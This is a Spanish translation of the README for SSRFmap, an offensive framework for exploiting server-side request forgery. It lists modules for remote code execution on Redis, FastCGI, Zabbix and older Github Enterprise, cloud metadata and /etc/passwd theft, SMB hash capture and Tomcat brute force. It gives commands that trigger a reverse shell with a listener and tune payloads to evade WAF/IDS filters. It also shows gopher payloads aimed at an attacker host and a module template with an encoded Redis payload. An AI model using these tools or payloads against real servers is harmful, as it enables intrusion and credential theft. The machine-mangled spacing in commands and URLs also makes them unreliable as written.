Los SSRF se utilizan a menudo para aprovechar acciones en otros servicios; este marco tiene como objetivo encontrar y explotar estos servicios fácilmente. SSRFmap toma un archivo de solicitud Burp como entrada y un parámetro para difuminar.
La falsificación de solicitudes del lado del servidor o SSRF es una vulnerabilidad en la que un atacante obliga a un servidor a realizar solicitudes en su nombre.
Los siguientes módulos ya están implementados y se pueden utilizar con el argumento -m
.
Nombre | Descripción |
---|---|
axfr | Transferencias de zona DNS (AXFR) |
fastcgi | RCE rápido CGI |
redis | Redis RCE |
github | Github Enterprise RCE <2.8.7 |
zabbix | Zabbix RCE |
mysql | Ejecución de comandos MySQL |
postgres | Ejecución del comando Postgres |
docker | Docker Infoleaks a través de API |
smtp | SMTP enviar correo |
portscan | Escanee los 8000 puertos principales para el host |
networkscan | Barrido de ping HTTP sobre la red |
readfiles | Leer archivos como /etc/passwd |
alibaba | Leer archivos del proveedor (por ejemplo: metadatos, datos de usuario) |
aws | Leer archivos del proveedor (por ejemplo: metadatos, datos de usuario) |
gce | Leer archivos del proveedor (por ejemplo: metadatos, datos de usuario) |
digitalocean | Leer archivos del proveedor (por ejemplo: metadatos, datos de usuario) |
socksproxy | SOCKS4 Proxy |
smbhash | Forzar una autenticación SMB a través de una ruta UNC |
tomcat | Ataque de fuerza bruta contra Tomcat Manager |
custom | Enviar datos personalizados a un servicio de escucha, por ejemplo: netcat |
memcache | Almacenar datos dentro de la instancia de Memcache |
Del repositorio de Github.
$ git clone https: // github.com / swisskyrepo / SSRFmap
$ cd SSRFmap /
$ pip3 install - r requirements.txt
$ python3 ssrfmap.py
usage: ssrfmap.py [ - h ] [ - r REQFILE ] [ - p PARAM ] [ - m MODULES ] [ - l HANDLER ]
[ - v [ VERBOSE ]] [ -- lhost LHOST ] [ -- lport LPORT ]
[ -- uagent USERAGENT ] [ -- ssl [ SSL ]] [ -- level [ LEVEL ]]
optional arguments:
- h , -- help show this help message and exit
- r REQFILE SSRF Request file
- p PARAM SSRF Parameter to target
- m MODULES SSRF Modules to enable
- l HANDLER Start an handler for a reverse shell
- v [ VERBOSE ] Enable verbosity
-- lhost LHOST LHOST reverse shell or IP to target in the network
-- lport LPORT LPORT reverse shell or port to target in the network
-- uagent USERAGENT User Agent to use
-- ssl [ SSL ] Use HTTPS without verification
-- proxy PROXY Use HTTP(s) proxy (ex: http: // localhost: 8080 )
-- level [ LEVEL ] Level of test to perform ( 1 - 5 , default : 1 )
Estibador
$ git clone https: // github.com / swisskyrepo / SSRFmap
$ docker build -- no - cache - t ssrfmap .
$ docker run - it ssrfmap ssrfmap.py [ OPTIONS ]
$ docker run - it - v $ (pwd): / usr / src / app ssrfmap ssrfmap.py
Primero necesita una solicitud con un parámetro para difuminar, las solicitudes Burp funcionan bien con SSRFmap. Deberían verse como el siguiente. Hay más ejemplos disponibles en la carpeta ./examples .
POST / ssrf HTTP / 1.1
Host: 127.0 . 0.1 : 5000
User - Agent: Mozilla / 5.0 (X11; Linux x86_64; rv: 62.0 ) Gecko / 20100101 Firefox / 62.0
Accept: text / html , application / xhtml + xml , application / xml;q = 0.9 , */* ;q = 0.8
Accept - Language: en - US , en;q = 0.5
Accept - Encoding: gzip , deflate
Referer: http: // mysimple.ssrf /
Content - Type: application / x - www - form - urlencoded
Content - Length: 31
Connection: close
Upgrade - Insecure - Requests: 1
url = https % 3A % 2F % 2Fwww.google.fr
Utilice -m
seguido del nombre del módulo (separado por ,
si desea iniciar varios módulos).
# Launch a portscan on localhost and read default files
python ssrfmap.py - r examples / request.txt - p url - m readfiles , portscan
Si desea inyectar dentro de un encabezado, un parámetro GET o POST, solo necesita especificar el nombre del parámetro
python ssrfmap.py - r examples / request6.txt - p X - Custom - Header - m readfiles -- rfiles / tmp / test
Si necesita tener un agente de usuario personalizado, utilice --uagent
. Algunos objetivos usarán HTTPS, puedes habilitarlo con --ssl
.
# Launch a portscan against an HTTPS endpoint using a custom user-agent
python ssrfmap.py - r examples / request.txt - p url - m portscan -- ssl -- uagent " SSRFmapAgent "
Algunos módulos le permiten crear una conexión, debe especificar LHOST
y LPORT
. Además, SSRFmap puede escuchar el shell inverso entrante.
# Triggering a reverse shell on a Redis
python ssrfmap.py - r examples / request.txt - p url - m redis -- lhost = 127.0 . 0.1 -- lport = 4242 - l 4242
# -l create a listener for reverse shell on the specified port
# --lhost and --lport work like in Metasploit, these values are used to create a reverse shell payload
Cuando el objetivo está protegido por un WAF o algunos filtros, puede probar una amplia gama de cargas útiles y codificación con el parámetro --level
.
# --level : ability to tweak payloads in order to bypass some IDS/WAF. e.g: 127.0.0.1 -> [::] -> 0000: -> ...
Se puede realizar una forma rápida de probar el marco con el servicio SSRF data/example.py
.
Local
FLASK_APP = examples / example.py flask run &
python ssrfmap.py - r examples / request.txt - p url - m readfiles
Estibador
docker build -- no - cache - t ssrfmap .
# run example ssrf http service
docker run - it - v $ (pwd): / usr / src / app -- name example ssrfmap examples / example.py
# run example ssrf dns service
docker exec - u root:root - it example python examples / ssrf_dns.py
# run ssrfmap tool
docker exec - it example python ssrfmap.py - r examples / request.txt - p url - m readfiles
Lanzar las solicitudes de pruebas:
docker exec - it example python ssrfmap.py - r examples / request.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request2.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request3.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request4.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request5.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request6.txt - p X - Custom - Header - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request.txt - p url - m axfr
docker exec - it example python ssrfmap.py - r examples / request3.txt - p url - m axfr -- lhost 127.0 . 0.1 -- lport 53 -- ldomain example.lab
I ❤️ solicitudes de extracción :) Siéntase libre de agregar cualquier característica que se enumera a continuación o un nuevo servicio.
gopher: // < proxyserver > : 8080 / _GET http: // < attacker: 80 > / x HTTP / 1.1 % 0A % 0A
gopher: // < proxyserver > : 8080 / _POST % 20http: // < attacker > : 80 / x % 20HTTP / 1.1 % 0ACookie: % 20eatme % 0A % 0AI + am + a + post + body
El siguiente código es una plantilla si desea agregar un módulo que interactúe con un servicio.
from core . utils import *
import logging
name = "servicename in lowercase"
description = "ServiceName RCE - What does it do"
author = "Name or pseudo of the author"
documentation = [ "http://link_to_a_research" , "http://another_link" ]
class exploit ():
SERVER_HOST = "127.0.0.1"
SERVER_PORT = "4242"
def __init__ ( self , requester , args ):
logging . info ( "Module '{}' launched !" . format ( name ))
# Handle args for reverse shell
if args . lhost == None : self . SERVER_HOST = input ( "Server Host:" )
else : self . SERVER_HOST = args . lhost
if args . lport == None : self . SERVER_PORT = input ( "Server Port:" )
else : self . SERVER_PORT = args . lport
# Data for the service
# Using a generator to create the host list
# Edit the following ip if you need to target something else
gen_host = gen_ip_list ( "127.0.0.1" , args . level )
for ip in gen_host :
port = "6379"
data = "*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"
payload = wrapper_gopher ( data , ip , port )
# Handle args for reverse shell
payload = payload . replace ( "SERVER_HOST" , self . SERVER_HOST )
payload = payload . replace ( "SERVER_PORT" , self . SERVER_PORT )
# Send the payload
r = requester . do_request ( args . param , payload )
También puedes contribuir con una cerveza IRL o mediante el botón Patrocinador de Github.